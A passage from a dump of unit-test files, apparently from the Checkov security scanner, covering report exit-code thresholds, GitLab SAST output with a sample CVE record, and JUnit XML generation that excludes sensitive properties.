file_line_range='1:3',\n                         resource='aws_db_instance.sample', evaluations=None,\n                         check_class=None, file_abs_path=',.',\n                         severity=Severities[BcSeverities.LOW],\n                         entity_tags={\n                             'tag1': 'value1'\n                         })\n        record2 = Record(check_id='CKV_AWS_16',\n                         bc_check_id='BC_AWS_16',\n                         check_name=\"Another RDS check\",\n                         check_result={\"result\": CheckResult.FAILED},\n                         code_block=None, file_path=\"./rds.tf\",\n                         file_line_range='1:3',\n                         resource='aws_db_instance.sample', evaluations=None,\n                         check_class=None, file_abs_path=',.',\n                         severity=Severities[BcSeverities.HIGH],\n                         entity_tags={\n                             'tag1': 'value1'\n                         })\n\n        record3 = Record(check_id='CKV_AWS_161',\n                         bc_check_id='BC_AWS_161',\n                         check_name=\"Another RDS check\",\n                         check_result={\"result\": CheckResult.PASSED},\n                         code_block=None, file_path=\"./rds.tf\",\n                         file_line_range='1:3',\n                         resource='aws_db_instance.sample', evaluations=None,\n                         check_class=None, file_abs_path=',.',\n                         severity=Severities[BcSeverities.LOW],\n                         entity_tags={\n                             'tag1': 'value1'\n                         })\n        record4 = Record(check_id='CKV_AWS_118',\n                         bc_check_id='BC_AWS_118',\n                         check_name=\"Another RDS check\",\n                         check_result={\"result\": CheckResult.PASSED},\n                         code_block=None, file_path=\"./rds.tf\",\n                         file_line_range='1:3',\n                         resource='aws_db_instance.sample', evaluations=None,\n                         check_class=None, file_abs_path=',.',\n                         severity=Severities[BcSeverities.HIGH],\n                         entity_tags={\n                             'tag1': 'value1'\n                         })\n\n        r = Report(\"terraform\")\n        r.add_record(record1)\n        r.add_record(record2)\n        r.add_record(record3)\n        r.add_record(record4)\n\n        # When soft_fail=True, the exit code should always be 0 if there are no other soft/hard fail exceptions.\n        test_default = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n        test_soft_fail = r.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n        test_hard_fail_off = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': OFF})\n\n        # When soft_fail_on=['check1', 'check2'], exit code should be 0 if the only failing checks are in the soft_fail_on list\n        positive_test_soft_fail_on_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_157', 'CKV_AWS_16'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n        positive_test_soft_fail_on_code_one_sev = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_16'], 'soft_fail_threshold': LOW, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n        positive_test_soft_fail_on_code_thresh = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': HIGH, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n        positive_test_soft_fail_on_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['BC_AWS_157', 'BC_AWS_16'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n\n        negative_test_soft_fail_on_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_157'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n        negative_test_soft_fail_on_code_thresh = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': LOW, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n        negative_test_soft_fail_on_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['BC_AWS_157'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n\n        positive_test_soft_fail_on_wildcard_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS*'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n        positive_test_soft_fail_on_wildcard_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['BC_AWS*'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n\n        negative_test_soft_fail_on_wildcard_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_OTHER*'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n        negative_test_soft_fail_on_wildcard_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['BC_OTHER*'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None})\n\n        # When hard_fail_on=['check1', 'check2'], exit code should be 1 if any checks in the hard_fail_on list fail\n        positive_test_hard_fail_on_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': ['CKV_AWS_157'], 'hard_fail_threshold': None})\n        positive_test_hard_fail_on_code_one_sev = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': LOW})\n        positive_test_hard_fail_on_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': ['BC_AWS_157'], 'hard_fail_threshold': None})\n\n        negative_test_hard_fail_on_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': ['CKV_AWS_161', 'CKV_AWS_118'], 'hard_fail_threshold': None})\n        negative_test_hard_fail_on_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': ['BC_AWS_161', 'BC_AWS_118'], 'hard_fail_threshold': None})\n\n        combined_test_soft_fail_sev_hard_fail_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_16'], 'soft_fail_threshold': LOW, 'hard_fail_checks': ['CKV_AWS_157'], 'hard_fail_threshold': None})\n        combined_test_soft_fail_id_hard_fail_sev = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_16'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': HIGH})\n        combined_test_soft_fail_id_hard_fail_sev_fail = r.get_exit_code({'soft_fail': True, 'soft_fail_checks': ['CKV_AWS_16'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': HIGH})\n\n        self.assertEqual(test_default, 1)\n        self.assertEqual(test_soft_fail, 0)\n        self.assertEqual(test_hard_fail_off, 0)\n        self.assertEqual(positive_test_soft_fail_on_code, 0)\n        self.assertEqual(positive_test_soft_fail_on_code_one_sev, 0)\n        self.assertEqual(positive_test_soft_fail_on_code_thresh, 0)\n        self.assertEqual(positive_test_soft_fail_on_code_bc_id, 0)\n        self.assertEqual(negative_test_soft_fail_on_code, 1)\n        self.assertEqual(negative_test_soft_fail_on_code_thresh, 1)\n        self.assertEqual(negative_test_soft_fail_on_code_bc_id, 1)\n\n        self.assertEqual(positive_test_soft_fail_on_wildcard_code, 0)\n        self.assertEqual(positive_test_soft_fail_on_wildcard_code_bc_id, 0)\n        self.assertEqual(negative_test_soft_fail_on_wildcard_code, 1)\n        self.assertEqual(negative_test_soft_fail_on_wildcard_code_bc_id, 1)\n\n        self.assertEqual(positive_test_hard_fail_on_code, 1)\n        self.assertEqual(positive_test_hard_fail_on_code_one_sev, 1)\n        self.assertEqual(positive_test_hard_fail_on_code_bc_id, 1)\n        self.assertEqual(negative_test_hard_fail_on_code, 0)\n        self.assertEqual(negative_test_hard_fail_on_code_bc_id, 0)\n\n        self.assertEqual(combined_test_soft_fail_sev_hard_fail_id, 1)\n        self.assertEqual(combined_test_soft_fail_id_hard_fail_sev, 1)\n        self.assertEqual(combined_test_soft_fail_id_hard_fail_sev_fail, 0)\n\n        with mock.patch.dict(os.environ, {PARSE_ERROR_FAIL_FLAG: \"true\"}):\n            r.add_parsing_error(\"some_file.tf\")\n            self.assertEqual(\n                r.get_exit_code(\n                    {\n                        \"soft_fail\": False,\n                        \"soft_fail_checks\": [],\n                        \"soft_fail_threshold\": None,\n                        \"hard_fail_checks\": [],\n                        \"hard_fail_threshold\": None,\n                    }\n                ),\n                1,\n            )\n\n    def test_get_fail_thresholds_enforcement_rules(self):\n\n        old_configs = repo_config_integration.code_category_configs\n\n        repo_config_integration.code_category_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.CRITICAL])\n        }\n        config = argparse.Namespace(\n            use_enforcement_rules=True,\n            soft_fail=False,\n            soft_fail_on=None,\n            hard_fail_on=None\n        )\n        expected = {\n            'soft_fail': False,\n            'soft_fail_checks': [],\n            'soft_fail_threshold': None,\n            'hard_fail_checks': [],\n            'hard_fail_threshold': Severities[BcSeverities.CRITICAL]\n        }\n        # the soft-fail threshold is None because we will just let it be implicit based off hard fail (this is how enforcement rules works)\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        config = argparse.Namespace(\n            use_enforcement_rules=True,\n            soft_fail=True,\n            soft_fail_on=None,\n            hard_fail_on=None\n        )\n        expected = {\n            'soft_fail': True,\n            'soft_fail_checks': [],\n            'soft_fail_threshold': None,\n            'hard_fail_checks': [],\n            'hard_fail_threshold': None  # soft fail ignores enforcement rules\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        config = argparse.Namespace(\n            use_enforcement_rules=True,\n            soft_fail=False,\n            soft_fail_on=['MEDIUM'],\n            hard_fail_on=None\n        )\n        expected = {\n            'soft_fail': False,\n            'soft_fail_checks': [],\n            'soft_fail_threshold': Severities[BcSeverities.MEDIUM],\n            'hard_fail_checks': [],\n            'hard_fail_threshold': None\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        config = argparse.Namespace(\n            use_enforcement_rules=True,\n            soft_fail=False,\n            soft_fail_on=['MEDIUM'],\n            hard_fail_on=['HIGH']\n        )\n        expected = {\n            'soft_fail': False,\n            'soft_fail_checks': [],\n            'soft_fail_threshold': Severities[BcSeverities.MEDIUM],\n            'hard_fail_checks': [],\n            'hard_fail_threshold': Severities[BcSeverities.HIGH]\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        config = argparse.Namespace(\n            use_enforcement_rules=True,\n            soft_fail=False,\n            soft_fail_on=['CKV_AWS_123'],\n            hard_fail_on=['CKV_AWS_789']\n        )\n        expected = {\n            'soft_fail': False,\n            'soft_fail_checks': ['CKV_AWS_123'],\n            'soft_fail_threshold': None,\n            'hard_fail_checks': ['CKV_AWS_789'],\n            'hard_fail_threshold': Severities[BcSeverities.CRITICAL]\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        repo_config_integration.code_category_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.LOW], Severities[BcSeverities.OFF])\n        }\n        config = argparse.Namespace(\n            use_enforcement_rules=True,\n            soft_fail=False,\n            soft_fail_on=None,\n            hard_fail_on=None\n        )\n        expected = {\n            'soft_fail': True,  # set as a global soft fail\n            'soft_fail_checks': [],\n            'soft_fail_threshold': None,\n            'hard_fail_checks': [],\n            'hard_fail_threshold': Severities[BcSeverities.OFF]\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        repo_config_integration.code_category_configs = old_configs\n\n    def test_get_fail_thresholds_plain(self):\n\n        config = argparse.Namespace(\n            use_enforcement_rules=False,\n            soft_fail=True,\n            soft_fail_on=['MEDIUM', 'CKV_AWS_123'],\n            hard_fail_on=['HIGH', 'CKV_AWS_789']\n        )\n\n        expected = {\n            'soft_fail': True,\n            'soft_fail_checks': ['CKV_AWS_123'],\n            'soft_fail_threshold': Severities[BcSeverities.MEDIUM],\n            'hard_fail_checks': ['CKV_AWS_789'],\n            'hard_fail_threshold': Severities[BcSeverities.HIGH]\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        config = argparse.Namespace(\n            use_enforcement_rules=False,\n            soft_fail=False,\n            soft_fail_on=['LOW,HIGH'],\n            hard_fail_on=[]\n        )\n        expected = {\n            'soft_fail': False,\n            'soft_fail_checks': [],\n            'soft_fail_threshold': Severities[BcSeverities.HIGH],  # take the higher severity\n            'hard_fail_checks': [],\n            'hard_fail_threshold': None\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        config = argparse.Namespace(\n            use_enforcement_rules=False,\n            soft_fail=False,\n            soft_fail_on=[],\n            hard_fail_on=['LOW,HIGH']\n        )\n        expected = {\n            'soft_fail': False,\n            'soft_fail_checks': [],\n            'soft_fail_threshold': None,\n            'hard_fail_checks': [],\n            'hard_fail_threshold': Severities[BcSeverities.LOW]  # take the lower severity\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        config = argparse.Namespace(\n            use_enforcement_rules=False,\n            soft_fail=False,\n            soft_fail_on=['low'],  # case insensitive\n            hard_fail_on=[]\n        )\n        expected = {\n            'soft_fail': False,\n            'soft_fail_checks': [],\n            'soft_fail_threshold': Severities[BcSeverities.LOW],\n            'hard_fail_checks': [],\n            'hard_fail_threshold': None\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n        config = argparse.Namespace(\n            use_enforcement_rules=False,\n            soft_fail=False,\n            soft_fail_on=[],\n            hard_fail_on=['low']  # case insensitive\n        )\n        expected = {\n            'soft_fail': False,\n            'soft_fail_checks': [],\n            'soft_fail_threshold': None,\n            'hard_fail_checks': [],\n            'hard_fail_threshold': Severities[BcSeverities.LOW]\n        }\n        self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/output/test_gitlab_sast_report.py",
    "content": "from operator import itemgetter\nfrom pathlib import Path\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.output.gitlab_sast import GitLabSast\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.sca.output import create_report_cve_record, _add_to_report_licenses_statuses\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\ndef test_iac_output():\n    # given\n    test_file = Path(__file__).parent / \"fixtures/main.tf\"\n    report = Runner().run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV2_AWS_6\", \"CKV_AWS_18\"])\n    )\n\n    # when\n    gitlab_sast = GitLabSast(reports=[report])\n    output = gitlab_sast.sast_json\n\n    # then\n    assert (\n        output[\"schema\"]\n        == \"https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/raw/v15.0.4/dist/sast-report-format.json\"\n    )\n    assert output[\"version\"] == \"15.0.4\"\n\n    # remove dynamic data\n    del output[\"scan\"][\"start_time\"]\n    del output[\"scan\"][\"end_time\"]\n    del output[\"scan\"][\"analyzer\"][\"version\"]\n    assert output[\"scan\"] == {\n        \"analyzer\": {\n            \"id\": \"checkov\",\n            \"name\": \"Checkov\",\n            \"url\": \"https://www.checkov.io/\",\n            \"vendor\": {\"name\": \"Bridgecrew\"},\n        },\n        \"scanner\": {\n            \"id\": \"checkov\",\n            \"name\": \"Checkov\",\n            \"url\": \"https://www.checkov.io/\",\n            \"vendor\": {\"name\": \"Bridgecrew\"},\n        },\n        \"status\": \"success\",\n        \"type\": \"sast\",\n    }\n\n    # remove dynamic data\n    for vul in output[\"vulnerabilities\"]:\n        del vul[\"id\"]\n        del vul[\"solution\"]\n        del vul[\"description\"]\n        del vul[\"location\"][\"file\"]\n        if \"links\" in vul:\n            del vul[\"links\"]\n            for ident in vul[\"identifiers\"]:\n                del ident[\"url\"]\n    assert sorted(output[\"vulnerabilities\"], key=itemgetter(\"name\")) == sorted(\n        [\n            {\n                \"identifiers\": [{\"name\": \"CKV2_AWS_6\", \"type\": \"checkov\", \"value\": \"CKV2_AWS_6\"}],\n                \"location\": {\"start_line\": 1, \"end_line\": 8},\n                \"name\": \"Ensure that S3 bucket has a Public Access block\",\n                \"severity\": \"Unknown\",\n            },\n            {\n                \"identifiers\": [{\"name\": \"CKV_AWS_18\", \"type\": \"checkov\", \"value\": \"CKV_AWS_18\"}],\n                \"location\": {\"start_line\": 1, \"end_line\": 8},\n                \"name\": \"Ensure the S3 bucket has access logging enabled\",\n                \"severity\": \"Unknown\",\n            },\n        ],\n        key=itemgetter(\"name\"),\n    )\n\n\ndef test_sca_package_output():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    vulnerability_details = {\n        \"id\": \"CVE-2019-19844\",\n        \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        \"cvss\": 9.8,\n        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n        \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n        \"severity\": \"moderate\",\n        \"packageName\": \"django\",\n        \"packageVersion\": \"1.2\",\n        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n        \"riskFactors\": [\"Attack complexity: low\", \"Attack vector: network\", \"Critical severity\", \"Has fix\"],\n        \"impactedVersions\": [\"<1.11.27\"],\n        \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n        \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n        \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n    }\n\n    record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses=\"OSI_BDS\",\n        package={\"package_registry\": \"https://registry.npmjs.org/\", \"is_private_registry\": False},\n    )\n    # also add a BC_VUL_2 record\n    bc_record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses=\"OSI_BDS\",\n        package={\"package_registry\": \"https://registry.npmjs.org/\", \"is_private_registry\": False},\n    )\n    bc_record.check_id = \"BC_VUL_2\"\n\n    report = Report(CheckType.SCA_PACKAGE)\n    report.add_resource(record.resource)\n    report.add_record(record)\n    report.add_record(bc_record)\n\n    report.extra_resources.add(\n        ExtraResource(\n            file_abs_path=file_abs_path,\n            file_path=f\"/{rootless_file_path}\",\n            resource=f\"{rootless_file_path}.testpkg\",\n            vulnerability_details={\"package_name\": \"testpkg\", \"package_version\": \"1.1.1\", \"licenses\": \"MIT\"},\n        )\n    )\n\n    # when\n    gitlab_sast = GitLabSast(reports=[report])\n    output = gitlab_sast.sast_json\n\n    # then\n\n    # remove dynamic data\n    for vul in output[\"vulnerabilities\"]:\n        del vul[\"id\"]\n    assert output[\"vulnerabilities\"] == [\n        {\n            \"identifiers\": [\n                {\n                    \"name\": \"CVE-2019-19844 - django: 1.2\",\n                    \"type\": \"cve\",\n                    \"url\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n                    \"value\": \"CVE-2019-19844\",\n                }\n            ],\n            \"links\": [{\"url\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\"}],\n            \"location\": {\"file\": \"path/to/requirements.txt\"},\n            \"name\": \"CVE-2019-19844 - django: 1.2\",\n            \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n            \"severity\": \"Medium\",\n            \"solution\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        },\n        {\n            \"identifiers\": [\n                {\n                    \"name\": \"CVE-2019-19844 - django: 1.2\",\n                    \"type\": \"cve\",\n                    \"url\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n                    \"value\": \"CVE-2019-19844\",\n                }\n            ],\n            \"links\": [{\"url\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\"}],\n            \"location\": {\"file\": \"path/to/requirements.txt\"},\n            \"name\": \"CVE-2019-19844 - django: 1.2\",\n            \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n            \"severity\": \"Medium\",\n            \"solution\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        },\n    ]\n\n\ndef test_sca_license_output():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    license_statuses = [\n        {\n            \"package_name\": \"github.com/apparentlymart/go-textseg/v12\",\n            \"package_version\": \"v12.0.0\",\n            \"policy\": \"BC_LIC_1\",\n            \"license\": \"Apache-2.0\",\n            \"status\": \"COMPLIANT\",\n        },\n        {\n            \"package_name\": \"docutils\",\n            \"package_version\": \"0.15.2\",\n            \"policy\": \"BC_LIC_1\",\n            \"license\": \"GPL\",\n            \"status\": \"OPEN\",\n        },\n    ]\n    sca_details = None\n\n    report = Report(CheckType.SCA_PACKAGE)\n    _add_to_report_licenses_statuses(\n        report=report,\n        check_class=check_class,\n        scanned_file_path=file_abs_path,\n        rootless_file_path=rootless_file_path,\n        runner_filter=RunnerFilter(),\n        packages_map=dict(),\n        license_statuses=license_statuses,\n        sca_details=sca_details,\n        report_type=report.check_type,\n    )\n\n    # when\n    gitlab_sast = GitLabSast(reports=[report])\n    output = gitlab_sast.sast_json\n\n    # then\n\n    # remove dynamic data\n    for vul in output[\"vulnerabilities\"]:\n        del vul[\"id\"]\n    assert output[\"vulnerabilities\"] == [\n        {\n            \"identifiers\": [{\"name\": \"BC_LIC_1\", \"type\": \"license\", \"value\": \"BC_LIC_1\"}],\n            \"location\": {\"file\": \"path/to/requirements.txt\"},\n            \"name\": \"License GPL - docutils: 0.15.2\",\n            \"description\": \"Package docutils@0.15.2 has license GPL\",\n        }\n    ]\n\n\ndef test_create_iac_vulnerability_with_non_url_guideline():\n    # given\n    # the report doesn't matter for this test, because we pass the record to method directly\n    gitlab_sast = GitLabSast(reports=[])\n    record = Record(\n        check_id=\"CKV_AWS_5\",\n        check_name=\"Ensure all data stored in the Elasticsearch is securely encrypted at rest\",\n        check_result={\"result\": CheckResult.FAILED},\n        code_block=[],\n        file_path=\"./main.tf\",\n        file_line_range=[7, 10],\n        resource=\"aws_elasticsearch_domain.enabled\",\n        evaluations=None,\n        check_class=\"\",\n        file_abs_path=\".\",\n        bc_check_id=\"BC_AWS_ELASTICSEARCH_3\",\n    )\n    record.guideline = \"Some guideline text\"\n\n    # when\n    vulnerability = gitlab_sast._create_iac_vulnerability(record=record)\n\n    # then\n    # vulnerability[\"identifiers\"][0][\"url\"] shouldn't exist\n    assert vulnerability[\"identifiers\"] == [{\"name\": \"CKV_AWS_5\", \"type\": \"checkov\", \"value\": \"CKV_AWS_5\"}]\n    # vulnerability[\"links\"] shouldn't exist\n    assert \"links\" not in vulnerability\n"
  },
  {
    "path": "tests/common/output/test_junit_report.py",
    "content": "import argparse\nimport unittest\nimport xml\nimport xml.etree.ElementTree as ET\nfrom pathlib import Path\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.report import Report\nfrom checkov.common.output.record import Record\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner as TerrafomrRunner\n\n\nclass TestJunitReport(unittest.TestCase):\n    def test_valid_passing_valid_testcases(self):\n        record1 = Record(\n            check_id=\"CKV_AWS_21\",\n            check_name=\"Some Check\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[],\n            file_path=\"./s3.tf\",\n            file_line_range=[1, 3],\n            resource=\"aws_s3_bucket.operations\",\n            evaluations=None,\n            check_class=\"\",\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record2 = Record(\n            check_id=\"CKV_AWS_3\",\n            check_name=\"Ensure all data stored in the EBS is securely encrypted\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[],\n            file_path=\"./ec2.tf\",\n            file_line_range=[1, 3],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=\"\",\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n\n        r = Report(\"terraform\")\n        r.add_record(record=record1)\n        r.add_record(record=record2)\n        ts = r.get_test_suite()\n        xml_string = r.get_junit_xml_string([ts])\n        root = ET.fromstring(xml_string)\n        self.assertEqual(root.attrib[\"errors\"], \"0\")\n\n    def test_get_junit_xml_string_with_terraform(self):\n        # given\n        test_file = Path(__file__).parent / \"fixtures/main.tf\"\n        checks = [\"CKV_AWS_18\", \"CKV_AWS_19\", \"CKV_AWS_21\"]  # 1 pass, 1 fail, 1 skip\n        config = argparse.Namespace(file=\"fixtures/main.tf\", framework=[\"terraform\"])\n        report = TerrafomrRunner().run(\n            root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=checks)\n        )\n\n        # remove guideline from failed checks, if they were fetched before\n        for check in report.failed_checks:\n            check.guideline = None\n\n        # then\n        properties = Report.create_test_suite_properties_block(config=config)\n        test_suite = report.get_test_suite(properties=properties)\n        xml_string = Report.get_junit_xml_string([test_suite])\n\n        # then\n        assert (\n            xml.dom.minidom.parseString(xml_string).toprettyxml()\n            == xml.dom.minidom.parseString(\n                \"\".join(\n                    [\n                        '<?xml version=\"1.0\" ?>\\n',\n                        '<testsuites disabled=\"0\" errors=\"0\" failures=\"1\" tests=\"2\" time=\"0.0\">\\n',\n                        '\\t<testsuite disabled=\"0\" errors=\"0\" failures=\"1\" name=\"terraform scan\" skipped=\"1\" tests=\"2\" time=\"0\">\\n',\n                        \"\\t\\t<properties>\\n\",\n                        '\\t\\t\\t<property name=\"file\" value=\"fixtures/main.tf\"/>\\n',\n                        '\\t\\t\\t<property name=\"framework\" value=\"[\\'terraform\\']\"/>\\n',\n                        \"\\t\\t</properties>\\n\",\n                        '\\t\\t<testcase name=\"[NONE][CKV_AWS_18] Ensure the S3 bucket has access logging enabled\" classname=\"/main.tf.aws_s3_bucket.destination\" file=\"/main.tf\">\\n',\n                        '\\t\\t\\t<failure type=\"failure\" message=\"Ensure the S3 bucket has access logging enabled\">\\n',\n                        \"Resource: aws_s3_bucket.destination\\n\",\n                        \"File: /main.tf: 1-8\\n\",\n                        \"Guideline: None\\n\",\n                        \"\\n\",\n                        \"\\t\\t1 | resource &quot;aws_s3_bucket&quot; &quot;destination&quot; {\\n\",\n                        \"\\t\\t2 |   # checkov:skip=CKV_AWS_19: no encryption needed\\n\",\n                        \"\\t\\t3 |   bucket = &quot;tf-test-bucket-destination-12345&quot;\\n\",\n                        \"\\t\\t4 |   acl = var.acl\\n\",\n                        \"\\t\\t5 |   versioning {\\n\",\n                        \"\\t\\t6 |     enabled = var.is_enabled\\n\",\n                        \"\\t\\t7 |   }\\n\",\n                        \"\\t\\t8 | }</failure>\\n\",\n                        \"\\t\\t</testcase>\\n\",\n                        '\\t\\t<testcase name=\"[NONE][CKV_AWS_19] Ensure all data stored in the S3 bucket is securely encrypted at rest\" classname=\"/main.tf.aws_s3_bucket.destination\" file=\"/main.tf\">\\n',\n                        '\\t\\t\\t<skipped type=\"skipped\" message=\" no encryption needed\"/>\\n',\n                        \"\\t\\t</testcase>\\n\",\n                        \"\\t</testsuite>\\n\",\n                        \"</testsuites>\\n\",\n                    ]\n                )\n            ).toprettyxml()\n        )\n\n    def test_sensitive_properties_excluded_from_junit_xml(self):\n        # given\n        test_file = Path(__file__).parent / \"fixtures/main.tf\"\n        checks = [\"CKV_AWS_18\"]  # Just need one check for this test\n\n        # Create config with a sensitive property (bc_api_key)\n        config = argparse.Namespace(\n            file=\"fixtures/main.tf\",\n            framework=[\"terraform\"],\n            bc_api_key=\"secret_api_key_123\",  # checkov:skip=CKV_SECRET_6 test secret # This should be excluded\n            non_sensitive_prop=\"regular_value\"  # This should be included\n        )\n\n        report = TerrafomrRunner().run(\n            root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=checks)\n        )\n\n        properties = Report.create_test_suite_properties_block(config=config)\n        test_suite = report.get_test_suite(properties=properties)\n        xml_string = Report.get_junit_xml_string([test_suite])\n        root = ET.fromstring(xml_string)\n        testsuite = root.find('testsuite')\n        props = testsuite.find('properties')\n\n        # Check that sensitive properties are not included\n        property_names = [prop.attrib['name'] for prop in props.findall('property')]\n        self.assertIn('file', property_names, \"Expected 'file' property to be present\")\n        self.assertIn('framework', property_names, \"Expected 'framework' property to be present\")\n        self.assertIn('non_sensitive_prop', property_names, \"Expected 'non_sensitive_prop' property to be present\")\n\n        # Most important assertions - check that sensitive properties are excluded\n        self.assertNotIn('bc_api_key', property_names, \"Sensitive property 'bc_api_key' should be excluded\")\n\n        # Double check the XML string itself doesn't contain the sensitive values\n        self.assertNotIn('secret_api_key_123', xml_string, \"API key value should not appear in XML\")\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/common/output/test_record.py",
